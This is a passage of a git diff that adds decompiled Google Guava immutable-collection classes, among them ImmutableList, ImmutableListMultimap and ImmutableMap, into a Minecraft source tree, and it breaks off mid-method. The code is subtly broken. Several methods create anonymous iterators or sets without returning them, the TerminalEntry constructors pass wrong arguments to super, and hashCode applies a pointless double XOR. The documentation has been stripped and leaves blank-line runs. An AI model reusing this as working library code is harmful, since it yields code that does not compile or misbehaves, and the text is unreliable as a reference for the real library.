+  public static <E> ImmutableList<E> copyOf(Iterator<? extends E> elements)
+  {
+    if (!elements.hasNext()) {
+      return of();
+    }
+    E first = elements.next();
+    if (!elements.hasNext()) {
+      return of(first);
+    }
+    return new Builder().add(first).addAll(elements).build();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableList<E> copyOf(E[] elements)
+  {
+    switch (elements.length) {
+    case 0: 
+      return of();
+    case 1: 
+      return new SingletonImmutableList(elements[0]);
+    }
+    return new RegularImmutableList(ObjectArrays.checkElementsNotNull((Object[])elements.clone()));
+  }
+  
+
+
+
+  private static <E> ImmutableList<E> construct(Object... elements)
+  {
+    return asImmutableList(ObjectArrays.checkElementsNotNull(elements));
+  }
+  
+
+
+
+
+  static <E> ImmutableList<E> asImmutableList(Object[] elements)
+  {
+    return asImmutableList(elements, elements.length);
+  }
+  
+
+
+
+  static <E> ImmutableList<E> asImmutableList(Object[] elements, int length)
+  {
+    switch (length) {
+    case 0: 
+      return of();
+    
+    case 1: 
+      ImmutableList<E> list = new SingletonImmutableList(elements[0]);
+      return list;
+    }
+    if (length < elements.length) {
+      elements = ObjectArrays.arraysCopyOf(elements, length);
+    }
+    return new RegularImmutableList(elements);
+  }
+  
+
+  ImmutableList() {}
+  
+
+  public UnmodifiableIterator<E> iterator()
+  {
+    return listIterator();
+  }
+  
+  public UnmodifiableListIterator<E> listIterator() {
+    return listIterator(0);
+  }
+  
+  public UnmodifiableListIterator<E> listIterator(int index) {
+    new AbstractIndexedListIterator(size(), index)
+    {
+      protected E get(int index) {
+        return ImmutableList.this.get(index);
+      }
+    };
+  }
+  
+  public int indexOf(@Nullable Object object)
+  {
+    return object == null ? -1 : Lists.indexOfImpl(this, object);
+  }
+  
+  public int lastIndexOf(@Nullable Object object)
+  {
+    return object == null ? -1 : Lists.lastIndexOfImpl(this, object);
+  }
+  
+  public boolean contains(@Nullable Object object)
+  {
+    return indexOf(object) >= 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public ImmutableList<E> subList(int fromIndex, int toIndex)
+  {
+    Preconditions.checkPositionIndexes(fromIndex, toIndex, size());
+    int length = toIndex - fromIndex;
+    switch (length) {
+    case 0: 
+      return of();
+    case 1: 
+      return of(get(fromIndex));
+    }
+    return subListUnchecked(fromIndex, toIndex);
+  }
+  
+
+
+
+
+
+  ImmutableList<E> subListUnchecked(int fromIndex, int toIndex)
+  {
+    return new SubList(fromIndex, toIndex - fromIndex);
+  }
+  
+  class SubList extends ImmutableList<E> {
+    final transient int offset;
+    final transient int length;
+    
+    SubList(int offset, int length) {
+      this.offset = offset;
+      this.length = length;
+    }
+    
+    public int size()
+    {
+      return length;
+    }
+    
+    public E get(int index)
+    {
+      Preconditions.checkElementIndex(index, length);
+      return ImmutableList.this.get(index + offset);
+    }
+    
+    public ImmutableList<E> subList(int fromIndex, int toIndex)
+    {
+      Preconditions.checkPositionIndexes(fromIndex, toIndex, length);
+      return ImmutableList.this.subList(fromIndex + offset, toIndex + offset);
+    }
+    
+    boolean isPartialView()
+    {
+      return true;
+    }
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final boolean addAll(int index, Collection<? extends E> newElements)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final E set(int index, E element)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final void add(int index, E element)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final E remove(int index)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+  public final ImmutableList<E> asList()
+  {
+    return this;
+  }
+  
+
+  int copyIntoArray(Object[] dst, int offset)
+  {
+    int size = size();
+    for (int i = 0; i < size; i++) {
+      dst[(offset + i)] = get(i);
+    }
+    return offset + size;
+  }
+  
+
+
+
+
+
+
+
+  public ImmutableList<E> reverse()
+  {
+    return new ReverseImmutableList(this);
+  }
+  
+  private static class ReverseImmutableList<E> extends ImmutableList<E> {
+    private final transient ImmutableList<E> forwardList;
+    
+    ReverseImmutableList(ImmutableList<E> backingList) {
+      forwardList = backingList;
+    }
+    
+    private int reverseIndex(int index) {
+      return size() - 1 - index;
+    }
+    
+    private int reversePosition(int index) {
+      return size() - index;
+    }
+    
+    public ImmutableList<E> reverse() {
+      return forwardList;
+    }
+    
+    public boolean contains(@Nullable Object object) {
+      return forwardList.contains(object);
+    }
+    
+    public int indexOf(@Nullable Object object) {
+      int index = forwardList.lastIndexOf(object);
+      return index >= 0 ? reverseIndex(index) : -1;
+    }
+    
+    public int lastIndexOf(@Nullable Object object) {
+      int index = forwardList.indexOf(object);
+      return index >= 0 ? reverseIndex(index) : -1;
+    }
+    
+    public ImmutableList<E> subList(int fromIndex, int toIndex) {
+      Preconditions.checkPositionIndexes(fromIndex, toIndex, size());
+      return forwardList.subList(reversePosition(toIndex), reversePosition(fromIndex)).reverse();
+    }
+    
+    public E get(int index)
+    {
+      Preconditions.checkElementIndex(index, size());
+      return forwardList.get(reverseIndex(index));
+    }
+    
+    public int size() {
+      return forwardList.size();
+    }
+    
+    boolean isPartialView() {
+      return forwardList.isPartialView();
+    }
+  }
+  
+  public boolean equals(@Nullable Object obj) {
+    return Lists.equalsImpl(this, obj);
+  }
+  
+  public int hashCode() {
+    int hashCode = 1;
+    int n = size();
+    for (int i = 0; i < n; i++) {
+      hashCode = 31 * hashCode + get(i).hashCode();
+      
+      hashCode = hashCode ^ 0xFFFFFFFF ^ 0xFFFFFFFF;
+    }
+    
+    return hashCode;
+  }
+  
+  static class SerializedForm implements Serializable
+  {
+    final Object[] elements;
+    private static final long serialVersionUID = 0L;
+    
+    SerializedForm(Object[] elements)
+    {
+      this.elements = elements;
+    }
+    
+    Object readResolve() { return ImmutableList.copyOf(elements); }
+  }
+  
+
+  private void readObject(ObjectInputStream stream)
+    throws InvalidObjectException
+  {
+    throw new InvalidObjectException("Use SerializedForm");
+  }
+  
+  Object writeReplace() {
+    return new SerializedForm(toArray());
+  }
+  
+
+
+
+  public static <E> Builder<E> builder()
+  {
+    return new Builder();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final class Builder<E>
+    extends ImmutableCollection.ArrayBasedBuilder<E>
+  {
+    public Builder()
+    {
+      this(4);
+    }
+    
+    Builder(int capacity)
+    {
+      super();
+    }
+    
+
+
+
+
+
+
+    public Builder<E> add(E element)
+    {
+      super.add(element);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<E> addAll(Iterable<? extends E> elements)
+    {
+      super.addAll(elements);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<E> add(E... elements)
+    {
+      super.add(elements);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<E> addAll(Iterator<? extends E> elements)
+    {
+      super.addAll(elements);
+      return this;
+    }
+    
+
+
+
+    public ImmutableList<E> build()
+    {
+      return ImmutableList.asImmutableList(contents, size);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableListMultimap.java b/src/minecraft/com/google/common/collect/ImmutableListMultimap.java
new file mode 100644
index 0000000..598adb2
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableListMultimap.java
@@ -0,0 +1,386 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.io.IOException;
+import java.io.InvalidObjectException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Map;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public class ImmutableListMultimap<K, V>
+  extends ImmutableMultimap<K, V>
+  implements ListMultimap<K, V>
+{
+  private transient ImmutableListMultimap<V, K> inverse;
+  @GwtIncompatible("Not needed in emulated source")
+  private static final long serialVersionUID = 0L;
+  
+  public static <K, V> ImmutableListMultimap<K, V> of()
+  {
+    return EmptyImmutableListMultimap.INSTANCE;
+  }
+  
+
+
+  public static <K, V> ImmutableListMultimap<K, V> of(K k1, V v1)
+  {
+    Builder<K, V> builder = builder();
+    
+    builder.put(k1, v1);
+    return builder.build();
+  }
+  
+
+
+  public static <K, V> ImmutableListMultimap<K, V> of(K k1, V v1, K k2, V v2)
+  {
+    Builder<K, V> builder = builder();
+    
+    builder.put(k1, v1);
+    builder.put(k2, v2);
+    return builder.build();
+  }
+  
+
+
+
+  public static <K, V> ImmutableListMultimap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3)
+  {
+    Builder<K, V> builder = builder();
+    
+    builder.put(k1, v1);
+    builder.put(k2, v2);
+    builder.put(k3, v3);
+    return builder.build();
+  }
+  
+
+
+
+  public static <K, V> ImmutableListMultimap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4)
+  {
+    Builder<K, V> builder = builder();
+    
+    builder.put(k1, v1);
+    builder.put(k2, v2);
+    builder.put(k3, v3);
+    builder.put(k4, v4);
+    return builder.build();
+  }
+  
+
+
+
+  public static <K, V> ImmutableListMultimap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5)
+  {
+    Builder<K, V> builder = builder();
+    
+    builder.put(k1, v1);
+    builder.put(k2, v2);
+    builder.put(k3, v3);
+    builder.put(k4, v4);
+    builder.put(k5, v5);
+    return builder.build();
+  }
+  
+
+
+
+
+
+  public static <K, V> Builder<K, V> builder()
+  {
+    return new Builder();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static final class Builder<K, V>
+    extends ImmutableMultimap.Builder<K, V>
+  {
+    public Builder() {}
+    
+
+
+
+
+
+
+
+
+
+
+    public Builder<K, V> put(K key, V value)
+    {
+      super.put(key, value);
+      return this;
+    }
+    
+
+
+
+
+
+    public Builder<K, V> put(Map.Entry<? extends K, ? extends V> entry)
+    {
+      super.put(entry);
+      return this;
+    }
+    
+    public Builder<K, V> putAll(K key, Iterable<? extends V> values) {
+      super.putAll(key, values);
+      return this;
+    }
+    
+    public Builder<K, V> putAll(K key, V... values) {
+      super.putAll(key, values);
+      return this;
+    }
+    
+    public Builder<K, V> putAll(Multimap<? extends K, ? extends V> multimap)
+    {
+      super.putAll(multimap);
+      return this;
+    }
+    
+
+
+
+
+
+    public Builder<K, V> orderKeysBy(Comparator<? super K> keyComparator)
+    {
+      super.orderKeysBy(keyComparator);
+      return this;
+    }
+    
+
+
+
+
+
+    public Builder<K, V> orderValuesBy(Comparator<? super V> valueComparator)
+    {
+      super.orderValuesBy(valueComparator);
+      return this;
+    }
+    
+
+
+    public ImmutableListMultimap<K, V> build()
+    {
+      return (ImmutableListMultimap)super.build();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ImmutableListMultimap<K, V> copyOf(Multimap<? extends K, ? extends V> multimap)
+  {
+    if (multimap.isEmpty()) {
+      return of();
+    }
+    
+
+    if ((multimap instanceof ImmutableListMultimap))
+    {
+      ImmutableListMultimap<K, V> kvMultimap = (ImmutableListMultimap)multimap;
+      
+      if (!kvMultimap.isPartialView()) {
+        return kvMultimap;
+      }
+    }
+    
+    ImmutableMap.Builder<K, ImmutableList<V>> builder = ImmutableMap.builder();
+    int size = 0;
+    
+
+    for (Map.Entry<? extends K, ? extends Collection<? extends V>> entry : multimap.asMap().entrySet()) {
+      ImmutableList<V> list = ImmutableList.copyOf((Collection)entry.getValue());
+      if (!list.isEmpty()) {
+        builder.put(entry.getKey(), list);
+        size += list.size();
+      }
+    }
+    
+    return new ImmutableListMultimap(builder.build(), size);
+  }
+  
+  ImmutableListMultimap(ImmutableMap<K, ImmutableList<V>> map, int size) {
+    super(map, size);
+  }
+  
+
+
+
+
+
+
+
+
+  public ImmutableList<V> get(@Nullable K key)
+  {
+    ImmutableList<V> list = (ImmutableList)map.get(key);
+    return list == null ? ImmutableList.of() : list;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public ImmutableListMultimap<V, K> inverse()
+  {
+    ImmutableListMultimap<V, K> result = inverse;
+    return result == null ? (this.inverse = invert()) : result;
+  }
+  
+  private ImmutableListMultimap<V, K> invert() {
+    Builder<V, K> builder = builder();
+    for (Map.Entry<K, V> entry : entries()) {
+      builder.put(entry.getValue(), entry.getKey());
+    }
+    ImmutableListMultimap<V, K> invertedMultimap = builder.build();
+    inverse = this;
+    return invertedMultimap;
+  }
+  
+
+
+
+
+  @Deprecated
+  public ImmutableList<V> removeAll(Object key)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public ImmutableList<V> replaceValues(K key, Iterable<? extends V> values)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.defaultWriteObject();
+    Serialization.writeMultimap(this, stream);
+  }
+  
+  @GwtIncompatible("java.io.ObjectInputStream")
+  private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    int keyCount = stream.readInt();
+    if (keyCount < 0) {
+      throw new InvalidObjectException("Invalid key count " + keyCount);
+    }
+    ImmutableMap.Builder<Object, ImmutableList<Object>> builder = ImmutableMap.builder();
+    
+    int tmpSize = 0;
+    
+    for (int i = 0; i < keyCount; i++) {
+      Object key = stream.readObject();
+      int valueCount = stream.readInt();
+      if (valueCount <= 0) {
+        throw new InvalidObjectException("Invalid value count " + valueCount);
+      }
+      
+      Object[] array = new Object[valueCount];
+      for (int j = 0; j < valueCount; j++) {
+        array[j] = stream.readObject();
+      }
+      builder.put(key, ImmutableList.copyOf(array));
+      tmpSize += valueCount;
+    }
+    ImmutableMap<Object, ImmutableList<Object>> tmpMap;
+    try
+    {
+      tmpMap = builder.build();
+    } catch (IllegalArgumentException e) {
+      throw ((InvalidObjectException)new InvalidObjectException(e.getMessage()).initCause(e));
+    }
+    
+
+    ImmutableMultimap.FieldSettersHolder.MAP_FIELD_SETTER.set(this, tmpMap);
+    ImmutableMultimap.FieldSettersHolder.SIZE_FIELD_SETTER.set(this, tmpSize);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableMap.java b/src/minecraft/com/google/common/collect/ImmutableMap.java
new file mode 100644
index 0000000..020e957
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableMap.java
@@ -0,0 +1,556 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.EnumMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public abstract class ImmutableMap<K, V>
+  implements Map<K, V>, Serializable
+{
+  public static <K, V> ImmutableMap<K, V> of()
+  {
+    return ImmutableBiMap.of();
+  }
+  
+
+
+
+
+
+  public static <K, V> ImmutableMap<K, V> of(K k1, V v1)
+  {
+    return ImmutableBiMap.of(k1, v1);
+  }
+  
+
+
+
+
+  public static <K, V> ImmutableMap<K, V> of(K k1, V v1, K k2, V v2)
+  {
+    return new RegularImmutableMap(new ImmutableMapEntry.TerminalEntry[] { entryOf(k1, v1), entryOf(k2, v2) });
+  }
+  
+
+
+
+
+
+  public static <K, V> ImmutableMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3)
+  {
+    return new RegularImmutableMap(new ImmutableMapEntry.TerminalEntry[] { entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3) });
+  }
+  
+
+
+
+
+
+
+  public static <K, V> ImmutableMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4)
+  {
+    return new RegularImmutableMap(new ImmutableMapEntry.TerminalEntry[] { entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4) });
+  }
+  
+
+
+
+
+
+
+  public static <K, V> ImmutableMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5)
+  {
+    return new RegularImmutableMap(new ImmutableMapEntry.TerminalEntry[] { entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4), entryOf(k5, v5) });
+  }
+  
+
+
+
+
+
+
+
+
+
+  static <K, V> ImmutableMapEntry.TerminalEntry<K, V> entryOf(K key, V value)
+  {
+    CollectPreconditions.checkEntryNotNull(key, value);
+    return new ImmutableMapEntry.TerminalEntry(key, value);
+  }
+  
+
+
+
+  public static <K, V> Builder<K, V> builder()
+  {
+    return new Builder();
+  }
+  
+  static void checkNoConflict(boolean safe, String conflictDescription, Map.Entry<?, ?> entry1, Map.Entry<?, ?> entry2)
+  {
+    if (!safe) {
+      throw new IllegalArgumentException("Multiple entries with same " + conflictDescription + ": " + entry1 + " and " + entry2);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static class Builder<K, V>
+  {
+    ImmutableMapEntry.TerminalEntry<K, V>[] entries;
+    
+
+
+
+
+
+
+
+    int size;
+    
+
+
+
+
+
+
+
+    public Builder()
+    {
+      this(4);
+    }
+    
+    Builder(int initialCapacity)
+    {
+      entries = new ImmutableMapEntry.TerminalEntry[initialCapacity];
+      size = 0;
+    }
+    
+    private void ensureCapacity(int minCapacity) {
+      if (minCapacity > entries.length) {
+        entries = ((ImmutableMapEntry.TerminalEntry[])ObjectArrays.arraysCopyOf(entries, ImmutableCollection.Builder.expandedCapacity(entries.length, minCapacity)));
+      }
+    }
+    
+
+
+
+
+    public Builder<K, V> put(K key, V value)
+    {
+      ensureCapacity(size + 1);
+      ImmutableMapEntry.TerminalEntry<K, V> entry = ImmutableMap.entryOf(key, value);
+      
+      entries[(size++)] = entry;
+      return this;
+    }
+    
+
+
+
+
+
+
+    public Builder<K, V> put(Map.Entry<? extends K, ? extends V> entry)
+    {
+      return put(entry.getKey(), entry.getValue());
+    }
+    
+
+
+
+
+
+    public Builder<K, V> putAll(Map<? extends K, ? extends V> map)
+    {
+      ensureCapacity(size + map.size());
+      for (Map.Entry<? extends K, ? extends V> entry : map.entrySet()) {
+        put(entry);
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+    public ImmutableMap<K, V> build()
+    {
+      switch (size) {
+      case 0: 
+        return ImmutableMap.of();
+      case 1: 
+        return ImmutableMap.of(entries[0].getKey(), entries[0].getValue());
+      }
+      return new RegularImmutableMap(size, entries);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ImmutableMap<K, V> copyOf(Map<? extends K, ? extends V> map)
+  {
+    if (((map instanceof ImmutableMap)) && (!(map instanceof ImmutableSortedMap)))
+    {
+
+
+
+      ImmutableMap<K, V> kvMap = (ImmutableMap)map;
+      if (!kvMap.isPartialView()) {
+        return kvMap;
+      }
+    } else if ((map instanceof EnumMap)) {
+      return copyOfEnumMapUnsafe(map);
+    }
+    Map.Entry<?, ?>[] entries = (Map.Entry[])map.entrySet().toArray(EMPTY_ENTRY_ARRAY);
+    switch (entries.length) {
+    case 0: 
+      return of();
+    
+    case 1: 
+      Map.Entry<K, V> onlyEntry = entries[0];
+      return of(onlyEntry.getKey(), onlyEntry.getValue());
+    }
+    return new RegularImmutableMap(entries);
+  }
+  
+
+
+  private static <K, V> ImmutableMap<K, V> copyOfEnumMapUnsafe(Map<? extends K, ? extends V> map)
+  {
+    return copyOfEnumMap((EnumMap)map);
+  }
+  
+  private static <K extends Enum<K>, V> ImmutableMap<K, V> copyOfEnumMap(Map<K, ? extends V> original)
+  {
+    EnumMap<K, V> copy = new EnumMap(original);
+    for (Map.Entry<?, ?> entry : copy.entrySet()) {
+      CollectPreconditions.checkEntryNotNull(entry.getKey(), entry.getValue());
+    }
+    return ImmutableEnumMap.asImmutable(copy);
+  }
+  
+  private static final Map.Entry<?, ?>[] EMPTY_ENTRY_ARRAY = new Map.Entry[0];
+  
+  private transient ImmutableSet<Map.Entry<K, V>> entrySet;
+  
+  private transient ImmutableSet<K> keySet;
+  private transient ImmutableCollection<V> values;
+  private transient ImmutableSetMultimap<K, V> multimapView;
+  
+  ImmutableMap() {}
+  
+  @Deprecated
+  public final V put(K k, V v)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final V remove(Object o)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final void putAll(Map<? extends K, ? extends V> map)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final void clear()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+  public boolean containsKey(@Nullable Object key)
+  {
+    return get(key) != null;
+  }
+  
+  public boolean containsValue(@Nullable Object value)
+  {
+    return values().contains(value);
+  }
+  
+
+
+
+
+  public abstract V get(@Nullable Object paramObject);
+  
+
+
+
+
+  public ImmutableSet<Map.Entry<K, V>> entrySet()
+  {
+    ImmutableSet<Map.Entry<K, V>> result = entrySet;
+    return result == null ? (this.entrySet = createEntrySet()) : result;
+  }
+  
+
+
+
+  abstract ImmutableSet<Map.Entry<K, V>> createEntrySet();
+  
+
+
+
+  public ImmutableSet<K> keySet()
+  {
+    ImmutableSet<K> result = keySet;
+    return result == null ? (this.keySet = createKeySet()) : result;
+  }
+  
+  ImmutableSet<K> createKeySet() {
+    return new ImmutableMapKeySet(this);
+  }
+  
+
+
+
+
+
+
+  public ImmutableCollection<V> values()
+  {
+    ImmutableCollection<V> result = values;
+    return result == null ? (this.values = new ImmutableMapValues(this)) : result;
+  }
+  
+
+
+
+
+
+
+
+  @Beta
+  public ImmutableSetMultimap<K, V> asMultimap()
+  {
+    ImmutableSetMultimap<K, V> result = multimapView;
+    return result == null ? (this.multimapView = createMultimapView()) : result;
+  }
+  
+  private ImmutableSetMultimap<K, V> createMultimapView() {
+    ImmutableMap<K, ImmutableSet<V>> map = viewMapValuesAsSingletonSets();
+    return new ImmutableSetMultimap(map, map.size(), null);
+  }
+  
+  private ImmutableMap<K, ImmutableSet<V>> viewMapValuesAsSingletonSets() {
+    return new MapViewOfValuesAsSingletonSets(this);
+  }
+  
+  private static final class MapViewOfValuesAsSingletonSets<K, V> extends ImmutableMap<K, ImmutableSet<V>>
+  {
+    private final ImmutableMap<K, V> delegate;
+    
+    MapViewOfValuesAsSingletonSets(ImmutableMap<K, V> delegate) {
+      this.delegate = ((ImmutableMap)Preconditions.checkNotNull(delegate));
+    }
+    
+    public int size() {
+      return delegate.size();
+    }
+    
+    public boolean containsKey(@Nullable Object key) {
+      return delegate.containsKey(key);
+    }
+    
+    public ImmutableSet<V> get(@Nullable Object key) {
+      V outerValue = delegate.get(key);
+      return outerValue == null ? null : ImmutableSet.of(outerValue);
+    }
+    
+    boolean isPartialView() {
+      return false;
+    }
+    
+    ImmutableSet<Map.Entry<K, ImmutableSet<V>>> createEntrySet() {
+      new ImmutableMapEntrySet() {
+        ImmutableMap<K, ImmutableSet<V>> map() {
+          return ImmutableMap.MapViewOfValuesAsSingletonSets.this;
+        }
+        
+        public UnmodifiableIterator<Map.Entry<K, ImmutableSet<V>>> iterator()
+        {
+          final Iterator<Map.Entry<K, V>> backingIterator = entrySet().iterator();
+          new UnmodifiableIterator() {
+            public boolean hasNext() {
+              return backingIterator.hasNext();
+            }
+            
+            public Map.Entry<K, ImmutableSet<V>> next() {
+              final Map.Entry<K, V> backingEntry = (Map.Entry)backingIterator.next();
+              new AbstractMapEntry() {
+                public K getKey() {
+                  return backingEntry.getKey();
+                }
+                
+                public ImmutableSet<V> getValue() {
+                  return ImmutableSet.of(backingEntry.getValue());
+                }
+              };
+            }
+          };
+        }
+      };
+    }
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    return Maps.equalsImpl(this, object);
+  }
+  
+
+  abstract boolean isPartialView();
+  
+  public int hashCode()
+  {
+    return entrySet().hashCode();
+  }
+  
+  public String toString() {
+    return Maps.toStringImpl(this);
+  }
+  
+  static class SerializedForm
+    implements Serializable
+  {
+    private final Object[] keys;
+    private final Object[] values;
+    private static final long serialVersionUID = 0L;
+    
+    SerializedForm(ImmutableMap<?, ?> map)
+    {
+      keys = new Object[map.size()];
+      values = new Object[map.size()];
+      int i = 0;
+      for (Map.Entry<?, ?> entry : map.entrySet()) {
+        keys[i] = entry.getKey();
+        values[i] = entry.getValue();
+        i++;
+      }
+    }
+    
+    Object readResolve() { ImmutableMap.Builder<Object, Object> builder = new ImmutableMap.Builder();
+      return createMap(builder);
+    }
+    
+    Object createMap(ImmutableMap.Builder<Object, Object> builder) { for (int i = 0; i < keys.length; i++) {
+        builder.put(keys[i], values[i]);
+      }
+      return builder.build();
+    }
+  }
+  
+  Object writeReplace()
+  {
+    return new SerializedForm(this);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableMapEntry.java b/src/minecraft/com/google/common/collect/ImmutableMapEntry.java
new file mode 100644
index 0000000..a8eb842
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableMapEntry.java
@@ -0,0 +1,72 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtIncompatible;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtIncompatible("unnecessary")
+abstract class ImmutableMapEntry<K, V>
+  extends ImmutableEntry<K, V>
+{
+  ImmutableMapEntry(K key, V value)
+  {
+    super(key, value);
+    CollectPreconditions.checkEntryNotNull(key, value);
+  }
+  
+  ImmutableMapEntry(ImmutableMapEntry<K, V> contents) {
+    super(contents.getKey(), contents.getValue());
+  }
+  
+  @Nullable
+  abstract ImmutableMapEntry<K, V> getNextInKeyBucket();
+  
+  @Nullable
+  abstract ImmutableMapEntry<K, V> getNextInValueBucket();
+  
+  static final class TerminalEntry<K, V> extends ImmutableMapEntry<K, V>
+  {
+    TerminalEntry(ImmutableMapEntry<K, V> contents) {
+      super();
+    }
+    
+    TerminalEntry(K key, V value) {
+      super(value);
+    }
+    
+    @Nullable
+    ImmutableMapEntry<K, V> getNextInKeyBucket()
+    {
+      return null;
+    }
+    
+    @Nullable
+    ImmutableMapEntry<K, V> getNextInValueBucket()
+    {
+      return null;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableMapEntrySet.java b/src/minecraft/com/google/common/collect/ImmutableMapEntrySet.java
new file mode 100644
index 0000000..ab31151
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableMapEntrySet.java
@@ -0,0 +1,75 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.io.Serializable;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+abstract class ImmutableMapEntrySet<K, V>
+  extends ImmutableSet<Map.Entry<K, V>>
+{
+  ImmutableMapEntrySet() {}
+  
+  abstract ImmutableMap<K, V> map();
+  
+  public int size()
+  {
+    return map().size();
+  }
+  
+  public boolean contains(@Nullable Object object)
+  {
+    if ((object instanceof Map.Entry)) {
+      Map.Entry<?, ?> entry = (Map.Entry)object;
+      V value = map().get(entry.getKey());
+      return (value != null) && (value.equals(entry.getValue()));
+    }
+    return false;
+  }
+  
+  boolean isPartialView()
+  {
+    return map().isPartialView();
+  }
+  
+
+
+  @GwtIncompatible("serialization")
+  Object writeReplace() { return new EntrySetSerializedForm(map()); }
+  
+  @GwtIncompatible("serialization")
+  private static class EntrySetSerializedForm<K, V> implements Serializable {
+    final ImmutableMap<K, V> map;
+    private static final long serialVersionUID = 0L;
+    
+    EntrySetSerializedForm(ImmutableMap<K, V> map) { this.map = map; }
+    
+    Object readResolve() {
+      return map.entrySet();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableMapKeySet.java b/src/minecraft/com/google/common/collect/ImmutableMapKeySet.java
new file mode 100644
index 0000000..91299c1
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableMapKeySet.java
@@ -0,0 +1,94 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.io.Serializable;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class ImmutableMapKeySet<K, V>
+  extends ImmutableSet<K>
+{
+  private final ImmutableMap<K, V> map;
+  
+  ImmutableMapKeySet(ImmutableMap<K, V> map)
+  {
+    this.map = map;
+  }
+  
+  public int size()
+  {
+    return map.size();
+  }
+  
+  public UnmodifiableIterator<K> iterator()
+  {
+    return asList().iterator();
+  }
+  
+  public boolean contains(@Nullable Object object)
+  {
+    return map.containsKey(object);
+  }
+  
+  ImmutableList<K> createAsList()
+  {
+    final ImmutableList<Map.Entry<K, V>> entryList = map.entrySet().asList();
+    new ImmutableAsList()
+    {
+      public K get(int index)
+      {
+        return ((Map.Entry)entryList.get(index)).getKey();
+      }
+      
+      ImmutableCollection<K> delegateCollection()
+      {
